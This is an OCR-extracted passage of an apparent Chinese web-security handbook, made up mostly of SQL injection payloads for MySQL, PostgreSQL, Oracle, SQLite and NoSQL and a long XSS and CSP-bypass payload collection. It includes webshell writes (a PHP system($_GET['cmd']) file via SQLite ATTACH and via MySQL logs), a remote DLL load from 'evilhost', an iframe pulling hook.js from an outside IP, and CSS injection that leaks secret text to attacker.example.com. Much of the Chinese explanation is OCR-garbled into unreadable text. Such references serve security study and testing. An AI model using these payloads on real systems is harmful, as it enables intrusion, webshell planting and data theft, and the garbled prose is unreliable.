e xp_loginconfig

4.1.
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MySQL Payload

%Il Payload

e Version
— SELECT @Q@version
e Comment
— SELECT 1 -- comment
— SELECT 1 # comment
— SELECT /*comment*/1
e Space
— 0x9 Oxa-0xd 0x20 0xal
e Current User
— SELECT user()
— SELECT system_user()
— SELECT current_role()
e List User
— SELECT user FROM mysql.user
e Current Database
— SELECT database()
o List Database
— SELECT schema_name FROM information_schema.schemata
e List Tables

— SELECT table_schema,table_name FROM information_schema.tables WHERE

table_schema != 'mysql' AND table_schema != 'information_schema'
e List Columns

— SELECT table_schema, table_name, column_name FROM information_schema.columns

WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

— SELECT if(1=1,'foo', 'bar'); return ’foo’
e Ascii

— SELECT char (0x41)
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— SELECT ascii('A")

— SELECT 0x414243 => return ABC

e Delay

— sleep(1)

— SELECT BENCHMARK(1000000,MD5('A"))
e Read File

— select @@datadir

— select load_file('databasename/tablename.MYD')
« Blind

— ascii(substring(str,pos,length)) & 32 = 1
o Error Based

— select count(*), (floor(rand(0)*2))x from information_schema.tables group by

X3

— select count(*) from (select 1 union select null union select !1)x group
by concat((select table_name from information_schema.tables limit 1),

floor (rand(0)*2))
e Change Password

— mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword')
WHERE user='root';FLUSH PRIVILEGES;"

REEANERER

o extractvalue

e updatexml

e GeometryCollection
e linestring

o multilinestring

e multipoint

e multipolygon

e polygon

e exp
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BXH#

BX #aii

o root FfR

o JGESCIRL AR

o HARBRBRAAETG AR

o secure_file priv SRV RNV AALE S A

e select count(file_priv) from mysql.user

EF into BXH

union select 1,1,1 into outfile '/tmp/demo.txt'

union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile FI outfile KFE7ET, outfile RAEATARIEG AT, S5 ATAF, WIRGAHERISCHE, RATHER
X FPEFE R

BT log EXH#

show variables like 'Jgeneraly';

set global general_log = on;

set global general_log file '/path/to/file';
select '<7php var_dump("test");7>';
set global general_log_file = '/original/path';

set global general_log = off;

PostgresSQL Payload

e Version
— SELECT version()
e Comment
— SELECT 1 -- comment
— SELECT /*comment*/1
e Current User

— SELECT user
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— SELECT current_user

— SELECT session_user

— SELECT getpgusername ()
o List User

— SELECT usename FROM pg_user
e Current Database

— SELECT current_database()
e List Database

— SELECT datname FROM pg_database
e Ascii

— SELECT char (0x41)

— SELECT ascii('A')
e Delay

— pg_sleep(1)

Oracle Payload

# 1 Payload

e dump
— select * from v$tab1espace;
— select * from user_tables;
— select column_name from user_tab_columns where table_name = 'table_name';

— select column_name, data_type from user_tab_columns where table_name =

'table_name';
— SELECT * FROM ALL_TABLES

« Comment

— /*x/
e Space
— 0x00 0x09 0xa-0xd 0x20

o fhE
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— utl_inaddr.get_host_name

— ctxsys.drithsx.sn

— ctxsys.CTX_REPORT.TOKEN_TYPE

— XMLType

— dbms_xdb_version.checkin

— dbms_xdb_version.makeversioned
— dbms_xdb_version.uncheckout

— dbms_utility.sqlid_to_sqlhash

— ordsys.ord_dicom.getmappingxpath
— utl_inaddr.get_host_name

— utl_inaddr.get_host_address

« OOB

— utl_http.request
— utl_inaddr.get_host_address
— SYS.DBMS_LDAP.INIT
— HTTPURITYPE
— HTTP_URITYPE.GETCLOB
— rawtohex

B5X#

create or replace directory TEST_DIR as '/path/to/dir';

grant read, write on directory TEST_DIR to system;

declare
isto_file utl_file.file_type;

begin
isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
utl_file.put_line(isto_file, '<J, out.println("test"); %>');
utl_file.fflush(isto_file);
utl_file.fclose(isto_file);

end;
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SQLite3 Payload

« Comment

— /*xx/
¢ Version
— select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);

INSERT INTO lol.pwn (dataz) VALUES ('<7system($_GET['cmd']); 7>');--

Load_extension

UNION SELECT 1,load_extension('\\evilhost\evil.dll',6'E');--

NoSQL Payload

%I Payload

o SLLRGEIZR AT

— {"username": "user"} => {"username": {"ne":

— {"$where": "return true"}
. I TAF

- '""\/$[].>
o AR

~ {"$ne": -1}

— {"$in": [1}

— {"$where": "return true"}

— {"$or": [{},{"foo":"1"}]}
.

— {"$where": "sleep(100)"}

"fakeuser"}}

4.1. SQL FA
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4.1.8 FidmiF

&g

SQL FEAJR PN AR 1 AR 24 iy & AT S 200000, T 8 1) R XA TR — PO 35 . A
B PATRAEAR , PR AW EE R E SR, 5 — R H AR AR, e SQL

BISEHFTIRBTY AST B Opcode, %54 H KM, RA AST B Opcode AT P4 HCHT AT
ELZSEHL, FTDMR S SRR A (U

R TG i

N B3 EARSCAS S AN SCRF P PRI 00, BT 1 A% i N SR S B i ad AR, 07 A X
HUEZE

it
w8 &R

g 19 SR U o AT EAC P BRIy, AR AR A ey S T AT R, a2
TE AR, ABATGFEA AR

BB S A T TRiF

TEAPEOLT , B A S 5 LA A B R AEIRS e A7 AE , TN IR 24 FIB 24 A RERL 5 AT TR
A OL R AR B A MBI 2 Al g5, AT RES AR -

g% SR $EIR

HROME T SRS A U, W RE AT S i -

=

4.1.9 XY=

Tricks
e sqlmap time based inject 447
o SQLInjectionWiki

# WEE 5 A Webshell 15

MSSQL Hodha i it 5% k4 L
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Bypass
o SQL ¥ A ByPass [F)—2/N 1Y
° V\*af BypaSS Ziﬁ
NoSQL
o NoSQL 3 A [/ iRl 2 it
e NoSQL ¥ A
Cheatsheet

e MSSQL Pentest Cheatsheet

4.2 XSS
4.2.1 433
wfr

XSS 4#5y Cross Site Scripting, 24 7HI CSS IFRIE N XSS, 304 NEsvli A % % A AE P,
e tEEE Y R T A A T AE B AR P Y JavaScript fUHAAT. XSS il FHOH THREL Cookie. PASZHLH:
BB AT BT

5B XSS

SR XSS R WA 2 —2, 200k UL, 24— b A d i & 20T 91 4] . <7php
echo "<p>hello, $_GET['user'l</p>";?> , HRAXEIHAHEE /?user=</p><script>alert("hack")</
script><p> , AT LR JavaScript {55,

SR XSS Gl w AR A RE R, T R Rl X A B A e A, 123 XSS Auditor. No-
Script 4% 4 BL 52 K .

fit#E XSS

flFF 2L XSS A HC UM BDRBEEHF RO, FEX iy, Boh RO LUty BT AR S5 45 1 B e v i
AR B -
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DOM XSS

DOM %! XSS Il Z AL7EF DOM % XSS — IS 28 0MEHTIRIAT BB 3, THZAE JavaScript 1A
AT R IR 1

fian

<html>

<head>

<title>DOM Based XSS Demo</title>
<script>

function xsstest()

{
var str = document.getElementById("input").value;
document . getElementById ("output") .innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>

<div id="output'"></div>

<input type="text" id="input" size=50 value="" />

<input type="button" value="submit" onclick="xsstest(" />
</body>

</html>

i A x' onerror='javascript:alert(/xss/) BIR[fili k.

Blind XSS

Blind XSS 278 XSS f—Fh, ERIFAERLEAFMHF, H—4 “EFE” ViXATOERAET, HHAES
Pt AR (DOM) 2B payload, “E#FRN Blind [ J5 PR A& PRk e 30 R AR 7030 3 R 2R 8 26 F P R ) g
F

4.2.2 BE

e XSS Jwiln, "HES SEOA R IR I

1. H ' Cookie Bkl , HHWHEFHE Session ID SEHURAE B . #7 ARG A5 um A MO 2B 4, Tkl
HI%F R Cookie Bt IR 5558,

2. WGl REABAE — & FRIE TSR P R R A
3. Yol CSRE 4507 A P B AT la B At
4. XSS IEH,
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5. ARBUT P AR R
6. A XSS Il M

4.2.3 RIiFKRES
=ikl

(] PEESREMS R ) AN [ 8 2 [ QAT EA T e A L, o ) P i R SR e L @75 [l URL
Y, URL fipphill. 4. s DORIEARAU, RPAS URL f9Pi . J843 Ml CUATR], DU b [l 9

file 3B FR KBS

TEZ A e, ARE WA file 3Eg URL B N2 FIRAY . AR DRI HTML SCPERR AT PABERCA
MR A b AT HA SO

M Gecko 1.9 JHif, SO T SE ARG [ PRms, A 4R SCPRRY S H sk FARSCPFIALSE H SR, SO
A BEEE ) — A3

cookie B [E)if SR
cookie AR E 73, — AT R DA A AL AT SR cookie, IR ACIA 12 2 3L 5 2
(public suffix) Bi7],

AN WAL (HTTP/HTTPS) 8 15, W SRS ER FV/F 48 @ B3 DA B AT A 11844 17 1) cookie. 5 H:
cookie i, B[ PAf#i il domain / path / secure Fl http-only HRic bR & HAF M.

FTPA https://localhost:8080/ Fil http://localhost:8081/ ] Cookie J&ILEH).

Flash/SilverLight Fig

W V2R IO A A - A B I TR oK . 3 Rl i FE R 55 2R L & crossdomain.xml, 5 B AR R 55 i Hp £ede 44
B S 1)
BRI, R AR A SRS YRR, AR EIERER, HNREREIEK.

REIER
(] JE SRS IA AR T8 TR A AY3E, B0 childl.a.com 5 a.com / childl.a.com 5 child2.a.com /
xxx.childl.a.com 55 childl.a.com PHPGA [E] .

XFFRXAMEOL, AT PATEPI N7 THI4S H CE. document . domain="a.com' SRHAZH ARSI AL E WA TR
Z [EAE A o

F3 SN B B BRAT i 1, IXRRIRE & 5 20 S B S8 null .
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BSiR i 5]

(]SRN R (R A2 L, X SR Bl A =2
o W RVFESIG B (Cross-origin writes)
— f#% (links)
— HEN
— ALK
o AV YOER A (Cross-origin embedding)
o AEAARVTEEEEAEAE (Cross-origin reads)
A REHRA RS PR ER ) — 2R A
e <script src="..."></script> FRAERRABSIHMA . THIRE RS B BEAE R TR A T L E

e <link rel="stylesheet" href="..."> FrZ#x A CSS. BT CSS WIMEAITETEMN, CSS Ay
T EIERR Content-Type i H k.

o <img> / <video> / <audio> fix A L IIAHIH .
o <object> <embed> /| <applet> HyIF{f .

o @font-face F| AMJFM. —LEP G as VIS ELFIA ( cross-origin fonts), —SEFEF[EFEFIA (same-

origin fonts).
o <frame> fil <iframe> FAMALMYTIR. ST AMEH] X-Frame-Options i1 8k R PH (L X FE (i 5
A

JSONP [§&ig;

JSONP w2 I il <script> FR% 1B EE 1 SC BB R i 5 1), SR BhASAE B JavaScript JIAR[R] By
—A~ callback PRELAVE NS EL.

e 95 B ERIG , ShASA AR A s, RS o DAY= AR AR SR callback pR%L

JSONP WAFAE—SL22 4 )R, B Q124 %A% A/ 4% 18] S 508 OB B0t L 3 A TR W] A sk, 578 XSS 1)
B, WA Referer % Token MCHRMLLS AP A B, 1] BB &> 1 B 5% -

735h JSONP {EBABLE callback B A4 BAE LT, ATAGARIME— LBt 2 SN R BRI AT, 1A T
XA by SOME Tt

BEREAE AP 55

Javascript [ APIs #', Ul iframe.contentWindow , window.parent, window.open fl window.opener i

SCRSTEIAHE S o 4P SCRITEAS [ B, X285 | 7 =0RXT window il location X542 i ) s fin R il o
window FLVFIERVT R YEA
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o window.blur

e window.close

o window.focus

o window.postMessage
window FRVFESTRTE F A JE A

o window.closed

o window.frames

o window.length

o window.location

e window.opener

e window.parent

o window.self

e window.top

¢ window.window

HHr window.location fRUFEE/5F, HAWM @M fLiFiEE

BRI 5]

FERETED VEaS Y, 2l localStorage #il IndexedDB, PAJRHEATZM#I. MEHINA B O HMAFFiEZS
], —ANEPRY Javascript JAIASAN GEXS & T H B IR B AT 505 A

CORS

CORS Z&—1> W3C ¥, MBI TIEILE (Cross-origin resource sharing). WX MR, 7] DA
TN 2 T U Sk ) B U

BRERkL

e Origin
— Pk R B S BR i SR B s URL YIS 283 R BN & K iki% 7 B
— Origin: <origin>

e Access-Control-Request-Method
— IR TR

— Access-Control-Request-Method: <method>
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e Access-Control-Request-Headers
— pA SR A Y header B

— Access-Control-Request-Headers: <field-name>[, <field-name>]=*

e Access-Control-Allow-Origin

— FE U AP Me URL

— RFHAEE S FEUER SRR W] A @ RO AT *

— Access-Control-Allow-Origin: <origin> | *
¢ Access-Control-Expose-Headers

T TN

— e.g. Access-Control-Expose-Headers: X-My-Custom-Header,

X-Another-Custom-Header

e Access-Control-Max-Age

— FEH Cache Bi}H]

— Access-Control-Max-Age: <delta-seconds>
e Access-Control-Allow-Credentials

— PR RV R A

— Access-Control-Allow-Credentials: true
e Access-Control-Allow-Methods

— PRV T

— Access-Control-Allow-Methods: <method>[, <method>]=*
e Access-Control-Allow-Headers

— ARV Sk

— Access-Control-Allow-Headers: <field-name>[, <field-name>]*

B fEN3E Y

o WHELEAIFE CORS
o BRI EA R, AEAEECAT, U BT Rk

o MlE Vary: Origin 3
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o AR EAR(E ] Access-Control-Allow-Credentials

o FREIZAFHI ]

FELIEF5iR 18]
FLIRPS IS B, ATDARR ISR /Y CSRF token , XMARICHFKHN Cross-Site Request Forgery (CSRF) 45
ice

PHL IR SR B S S, BRI AR IE 2 R R, HFERIERIE A THAN . (H2 28050 TN %
AHEBAN L ST Content-Type JHE k. BIANAIIRAE HTML SURY 48 <script> Fric, MIWIYE#E 220K
HTML #4714 JavaScript.

4.2.4 CSP

CSP Zfta?

Content Security Policy, fijfx CSP, HAENE LK. WL, XMESHELEA X, EREM
HE SCHIRLE BT AT AR | BTN, i XSS kA

&

CSP sfemg rl A HTTP A5 BE# meta JTLHRE Lo
CSP =2k

o Content-Security-Policy (Google Chrome)

o X-Content-Security-Policy (Firefox)

o X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP header :
"Content-Security-Policy:" ﬁ%%&
"Content-Security-Policy-Report-Only:" 5K &

HTTP Content-Security-Policy 31 PAFE E— B L N R IEE 24, 1 Content-Security-Policy-Report-
Only WE feiFiRssanfdr (Emml) — AR . 243k i5Rns S i Je R H sole e L) .

HTML Meta :

<meta http-equiv="content-security-policy" content="4#%">

<meta http-equiv="content-security-policy-report-only" content=" 4% % ">
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154 B
i 1A
default-src | & SRR R NE
connect-src | E X Ajax. WebSocket 4% 5 0
font-src E X Font hN#ksEmg
frame-src & L Frame JNE5RHE
img-src TE SCIE 7 inang:
media-src E X <audio>., <video> &5 | &N 7 KM
object-src E X <applet>, <embed>, <object> Z£5| F % IE Nz 550
script-src FE SIS AR
style-src E L CSS I sng
base-uri T X <base> i URL 5KWE, Al default-src VERERIAME
sandbox {HA allow-forms, %F%&JE S sandbox
report-uri {H} /report-uri, #E3ZHE
XgF
— AVFMERE wl nZ, B&7T data: blob: filesystem: schemes
— e.g. img-src -
e mnone
— BRI AMEAT url fn# BT
— e.g. object-src 'none'
e self
— AT R
— e.g. img-src 'self'
e data:

— A data PRSCINZBTR
— e.g. img-src 'self' data:
e domain.example.com
— e.g. img-src domain.example.com
— AT RAME 5 A3 2 5

e \*.example.com

92 Chapter 4. #E R RBPA



Web-Sec Documentation, &% 1.0

— e.g. img-src \*.example.com
— FIAMATRE example.com {-FsAbin a5t I3
e https://cdn.com

— e.g. img-src https://cdn.com

HAEME E I https I FIR

e https:
— e.g. img-src https:
— HEEMEEIA https N BTR
¢ unsafe-inline
— AVFNEEESA TR BN style attribute,onclick B{# & sicript Fr%s
— e.g. script-src 'unsafe-inline'
e unsafe-eval
— RN LRI I, BN s (9 eval()
— e.g. script-src 'unsafe-eval'
¢ nonce-<base64-value>'
— fEAIFEALAY nonce, FRVFMNEARE L nonce JEMEVLACHIFRE:
— e.g. script-src 'nonce-bmOuY2U='
e <hash-algo>-<base64-value>'
— fu¥F hash (EPLRCAYAIGHRBEIAT

— e.g. script-src 'sha256-<base64-value>'

B & f

FUVFRAT IR IS AR, (EA Fe i s ot

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

Bypass
Fanngs

WYERS A T IG5 P AL, LRSS A RO, A D IUMBI IR, MR ) 0 Y25 25 PR B[] 2 28
TRERINEG , RIGEAEE R XA X043/ DNS-prefetch ., subresource., prefetch. preconnect ., prerender.
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HTML5 TR EGE A link AR25RY el JEMEARFEERT . UK csp A unsafe-inline, W TN ER 775 0]
PATm AR R K, Bl

<-- FRESTE -->

<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<t FMHEENMEAF >

<link rel='prefetch' href='http://xxxx/x.jpg'>

<!-- DNS @t -->

<link rel="dns-prefetch" href="http://xxxx">

<U-- FRXBRAFTH -->

<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

AL, AR TURABE W RN, MBI, RERE R ST A R4 -
« URL P& FEGER
o UUTH RIS EAAL DU
« POST. PUT I DELET #:/EH) ajax i3k
« HTTP iAJE
« HTTPS Wi
o EUSREHATRY BUH
o JRET U
o A RIRAR Z 0y i
o $JJF T chrome developer tools J % T H.

MIME Sniff

ZEBIRAL , csp ZE IS ERIBUEIAS | (H2 0] DABS 3 12 img, IS 2% — A5 AR img, 1 <script href="http:
[ [xxx.com/xxjpg >, X HL esp AR A img, S TAGE, ASRF NG A IEA Y mime type, WY
VAT, T REIN A% img M A

302 BE¥E

X 302 BEELE CSP i, Skn EAT AT JLAi R -
o BALAITTE SEVFRYIN o
o BN SCAFR) host F AR FRVFAYIEAY host F7r—EL
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iframe

DA PAPATAHS Y, AT AR AR css js FERSSCFRY) frame, FERCEANYSET, 1% frame HANEAE csp,
NHE% frame N FIRAIE frame, 5% bypass BH P [FHE, 5/ ../..7../ /h2elk2e%2f 0] Refilk R %5
PR AR BE R T DA A A I A H Y

base-uri

24 script-src 24 nonce SJGFR |, H. base-uri JLFRHIE, W base FRZEAZ M URL 3k bypass, 1NN
#. T http://evil.com/main.js

<base href="http://evil.com/">

<script nonce="correct value" src="/main.js"></script>

Hit

o location Z&i

o W[ LAE SVG B, JEEEE SVG St [Fl Y A

o f7{E CRLF il 4% e CSP _EJ5iy, WIPATEA HTTP Wahy g CSP i@t

o CND Bypass, HIHRMuE{EIE T HA CDN, 382 0] F A1, CDN f#ES¥EE bypass
o Angular versions <1.5.9 >=1.5.0, fFfEHH Git Pull Request

e jQuery sourcemap

document .write( <script>

//@ sourceMappingURL=http://xxxx/ +document.cookie+ <\/script>~); "

o a BR%EN) ping JEE

e For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,
PHNj cmlwdD5hbGVydCgnSWhhdmVZb3V0b3cnKTs8L3NjcmlwdD4=">

e <link rel="import" />
e <meta http-equiv="refresh" content="0; url=http://...." />
o IUPRH script-src I}:

— <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg=="></

object>
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4.2.5 XSS HiER
URL

e location

e location.href

e location.pathname

e location.search

e location.hash

e document.URL

¢ document.documentURI

e document.baseURI
Navigation

¢ window.name

e document.referrer

Communication

e Ajax
e Fetch

WebSocket

e PostMessage

Storage

e Cookie
e LocalStorage

e SessionStorage

4.2.6 Sink

4T JavaScript

o eval(payload)
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o setTimeout(payload, 100)
e setInterval(payload, 100)
o Function(payload) ()

e <script>payload</script>

e <img src=x onerror=payload>

nE; URL

e location=javascript:alert(/xss/)
e location.href=javascript:alert(/xss/)
e location.assign(javascript:alert(/xss/))

e location.replace(javascript:alert(/xss/))

HiT HTML

e xx.innerHTML=payload
e xx.outerHTML=payload

e document.write(payload)

document.writeln(payload)

4.2.7 XSS {®rIF

HTML iTiE

o — 28 1 44 B TR AL BOR DR P AR HTML, PASCELIEIERIRCR . Bl DOMPurify 48 TH#Z M

%I T XSS BPRAF

X-Frame

X-Frame-Options Mk kA5 =N 0] 35 1) {H -
« DENY
— TUTH A BEMIR A EMEAT iframe 5 frame H
¢« SAMEORIGIN
— TUTH A R AR T R A iframe 334 frame 7
« ALLOW-FROM

4.2. XSS
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— T A frame BY frame HN#E;

XSS fripk

BT Webkit AR d: (LN Chrome) FERFE A TER WA —1~44 4 XSS auditor IR HLAE], Q2R
BRI R TS SRR AR BIAE HTML S, IR AR B2 B R UL 22 Bl R, 288
S, BRI S POEF T G K .

T 0 W 7 B X BOS R AU e T VAR Y XSS PP il B .
TUCEN YA IR LS, R A X-XSS-Protection FBiz7-Brf =l EHI(E
o 0 FIRKMIWBEERI XSS By L]

o 1o JHIBRAG I AN AT, anRm B AR SCHE A B B X-XSS-Protection FFEz, BN WEARELIA K
X-XSS-Protection ElE R 1, X2 W12 K B

o 1; mode=block : HIRKMFEEZAAY, FEATEYSEZ
FireFox ¥A M KPR ALE], WRFELAY, I NoScript %M 3614

4.2.8 WAF Bypass

. I <> fRiE
« FJ html JEPE
— href
— lowsrc
— bgsound
— background
— value
— action
— dynsre
. Rk
S e
— R
* window["al" + "ert"]
. FNGIDLEE
— baseb64

— jsfuck
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String.fromCharCode

HTML
— URL
— hex
* window ["\x61\x6c\x65\x72\x74"]
— unicode
— utf7
* +ADw-script+AD4-alert ('XSS')+ADsAPA-/script+AD4-
— utfl6
PNANGH A
X AE S MR
PR
css Bl fRHT
KRR bypass

— eval (name)
— eval(hash)
— import

— $.getScript

— $.get

— i . g IP /I
— document ['cookie']l Z&id @ HEUH
o HUEFISH o Gad

4.2.9 15
httponly

 7E cookie 2 httponly WIFLL T, PRI xss EHEAETRNETEMERME, AEBRIL cookie,
o TEABSRARIERGOLT , TR0l s H AR B SR KT BB A cookie

o TRAMERE HRAS I S 2§ AT BESAE httponly Sz /ALPE FAFAE ) 5

o MRMAR Y28 7 H TRACE / TRACK, W#RBUHURY header B
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o phpinfo ZFH A AEL M BAFE, X E P hitp 3k
o i xss Bl LA A
o AT xss PhiE oauth SEZRUEK, WREE SR

CSS A

BEXNE

CSS WA FIFIATFIH CSS Hiff) expression() url () regex ) 45 s Aot R s | ASNBAYE AT, H
sefEEN AR AR, XA LA, SUeER, HE T 2R aah g .

CSS selectors

<style>
#form2 input[value™='a'] { background-image: url(http://localhost/log.php/a); }
#form2 input[value™='b'] { background-image: url(http://localhost/log.php/b); }
#form2 input[value™='c'] { background-image: url(http://localhost/log.php/c); }
[...]

</style>

<form action="http://example.com" id="form2">
<input type="text" id="secret'" name="secret" value="abc">

</form>

ERFIH CSS selectors 58 I AT — 7R

Abusing Unicode Range

LA A CSS ByRHE, FTLAfH font-face Fil#y unicode-range FRHLH ARM TLX Y P47, PoC IR

<style>
@font-face{

font-family:poc;

src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{

font-family:poc;

src: url(http://attacker.example.com/?B); /* fetched too */

unicode-range:U+0042;

(N ogksE)
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(8:EW)

}
@font-face{

font-family:poc;

src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;

}

#sensitive-information{

font-family:poc;

}

</style>

<p id="sensitive-information">AB</p>

BPAPR T, WRTPAZEE < first-line &5 CSS JEM4/NER, PATRBUERGHH N2

Bypass Via Script Gadgets
&g

—BE k2 B BB L83 DOM (R =, XX s, A —MPFRh Code Reuse [JIL
A A AT PAGE . %0y ORI e e Y Gadget AHARL, BEH) H AR P A A AU R 18 B G2 i By A Tt i)
HH. FEi8 X Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via
Script Gadgets W% AR H RS A,

portswigger W — 5 B E# 5T KM ME https://portswigger.net/blog/

abusing-javascript-frameworks-to-bypass—-xss-mitigations,

N ARG, XA T DOMPurify KRANE, {HZ2HNFIAT jquery.mobile.js FE(M[
LA

BIF

// index.php

<7php

$msg = $_GET['message'];

$msg = str_replace("\n", "", $msg);
$msg = baseb4_encode ($msg) ;

7>

(R
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(8:EW)

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preview</title>
<script type="text/javascript" src="purify.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>

<script type="text/javascript">

var d= atob('<7php echo $msg; 7>');
var cleanvar = DOMPurify.sanitize(d);
document .write(cleanvar) ;

</script>

</body>
</html>

// payload
<div data-role=popup id='-->
&lt;scripté&gt;alert(1)&1lt;/scriptégt;'>

</div>

RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) il UM B AR A 2 00ty HOBTT 00 BE 2501 I 288 i 55 45 ) S 2, M) Al

S5 il Web ZeA7 HORTNBLE 2257

4.2.10 Payload

e <script>alert(/xss/)</script>
e <svg onload=alert(document.domain)>
e <img src=document.domain onerror=alert(document.domain)>

e <M onmouseover=alert(document.domain)>M

102
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e <marquee onscroll=alert(document.domain)>

e <a href=javascript:alert(document.domain)>M</a>
e <body onload=alert(document.domain)>

e <details open ontoggle=alert(document.domain)>

e <embed src=javascript:alert(document.domain)>

KINESGET

e <script>alert(1)</script>

e <sCrIpT>alert(1)</sCrIpT>

e <ScRiPt>alert(1)</ScRiPt>

e <sCrIpT>alert(1)</ScRiPt>

e <ScRiPt>alert(1)</sCrIpT>

e <img src=1 onerror=alert(1)>
e <iMg src=1 oNeRrOr=alert(1)>
e <ImG src=1 OnErRoR=alert(1)>
e <img src=1 onerror="alert (&quot;M&quot;)">
e <marquee onscroll=alert(1)>
e <mArQuEe OnScRolLl=alert(1)>

e <MaRqUeE oNsCrOlL=alert(1)>

£Fh alert

e <script>alert(1)</script>

e <script>confirm(1)</script>

e <script>prompt(1)</script>

e <script>alert('1')</script>

e <script>alert("1")</script>
o <script>alert 1 </script>

e <script>(alert) (1)</script>

e <script>a=alert,a(l)</script>

e <script>[1].find(alert)</script>
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o <script>top["al"+"ert"](1)</script>
. <SCI‘ipt>tOp [uau+n1u+uen+nru+utn] (1)</SCI‘ipt>
e <script>topl[/al/.source+/ert/.source] (1)</script>

o <script>topl[/a/.source+/1/.source+/e/.source+/r/.source+/t/.source] (1)</script>

fhthig
e <a href=javascript:/0/,alert (%22M)22)>M</a>
e <a href=javascript:/00/,alert (%22M}22)>M</a>
e <a href=javascript:/000/,alert (%22M},22)>M</a>

e <a href=javascript:/M/,alert (%,22M%22)>M</a>

Chrome XSS auditor bypass

e 7param=https://&param=0z.exeye.io/import%20rel=import%3E
e <base href=javascript:/M/><a href=,alert(1)>M</a>

e <base href=javascript:/M/><iframe src=,alert(1)></iframe>

B PRI

<script>s+="1"</script>
\...

<script>eval(s)</script>

jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

BhH &

"><img src=x onerror=alert(document.cookie)>.gif

L HiE payload

o src=javascript:alert AT DA
e css expression FpE HIEIHRA ie 7] H
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CSs

<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

markdown

[a] (javascript:prompt (document.cookie))

[al (5 a v a s ¢ r i p t:prompt(document.cookie))
<&#xOALHxOL1&HXTOA#XO1&#XT I&#XOIUHXT 24 #XO9&#XTO&#XT LA #XIAL&HXO61&#XOCEHXOD&#HXT 24 #XT4&H# 28
—HX2T&#xE8U#xE3&#xE3&H#x2T&#x29>

! [a' " onerror=prompt (document.cookie)] (x)

[notmalicious] (javascript:window.onerror=alert;throw},20document.cookie)

[a] (data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

I [a] (data:text/html;base64,PHNjcmnlwdD5hbGVydCgveHNzLyk8L3N jcmlwdD4=)

iframe

<iframe onload='

var sc = document.createElement ("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook. js";

document . body . appendChild(sc) ;

1

/>

e <iframe src=javascript:alert(1)></iframe>
o <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>

e <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PCOpZnJIhbWU+:

iframe>
e <iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
o <iframe src=https://baidu.com width=1366 height=768></iframe>

e <iframe src=javascript:alert(1l) width=1366 height=768></iframe

form

e <form action=javascript:alert(1l)><input type=submit>
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o <form><button formaction=javascript:alert(1)>M
e <form><input formaction=javascript:alert(l) type=submit value=M>
e <form><input formaction=javascript:alert(l) type=image value=M>

o <form><input formaction=javascript:alert(l) type=image src=1>

meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

4.2.11 H24t

BT

B 3 25 KA B AEA#AE Cookie BX localStorage, i PR 2 ik SE s — A2 W il 22 A7k 1), R BHER A
%} Cookie 5§ localStorage HHUH MIEIHMOTNE, SEBRF I I RRET S, H 24T JSON &K
KRR, 005 AR eval (data) ZAMTHA . L2445 —A4 XSS B, AIRAIE payload 5 A AT, LEXFLY.
ATl .

TE— LR, XARAI 7 AT RE P S — BRI A7 /8, WTDABE] String. fromCharCode H&Ei .

Service Worker

Service Worker R DATZ#E http 35K, EENZEMIARHATRPVER, #nT A Service Worker Hook — 261
K, R R AR MRS, PASEERE AT H .

1 Chrome 1, At chrome://inspect/#service-workers K& % Service Worker [PIRES, FEdkfTE1L.

AppCache

TERE RIS T (A3t wifi), WTRARE AppCache HLHI, 5k {7 L& Payload, RIFFRAYIEILT
JH 5 R0 KON payload &—EAFTE.

4.2.12 SE5EE
wiki
o AwesomeXSS
o w3cC
e dom xss wiki

e content-security-policy.com
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markdwon xss

xss cheat sheet

html5 security cheatsheet
http security headers

XSSChallengeWiki

Challenges

CSS

XSS Challenge By Google

prompt to win

rpo
rpo MLl IR

Reading Data via CSS

css based attack abusing unicode range
css injection

css timing attack

EFES

o logically bypassing browser security boundaries

Same origin policy

cors security guide

bypass

666 lines of xss payload
xss auditor bypass
xss auditor bypass writeup

bypassing csp using polyglot jpegs

bypass xss filters using javascript global variables

4.2,

XSS
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https://shubs.io/exploiting-markdown-syntax-and-telescope-persistent-xss-through-markdown-cve-2014-5144/
https://brutelogic.com.br/blog/cheat-sheet/
https://html5sec.org/
https://www.netsparker.com/whitepaper-http-security-headers/
https://github.com/cure53/XSSChallengeWiki/wiki
https://xss-game.appspot.com
http://prompt.ml/0
http://www.thespanner.co.uk/2014/03/21/rpo/
http://www.zjicmisa.org/index.php/archives/127/
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce
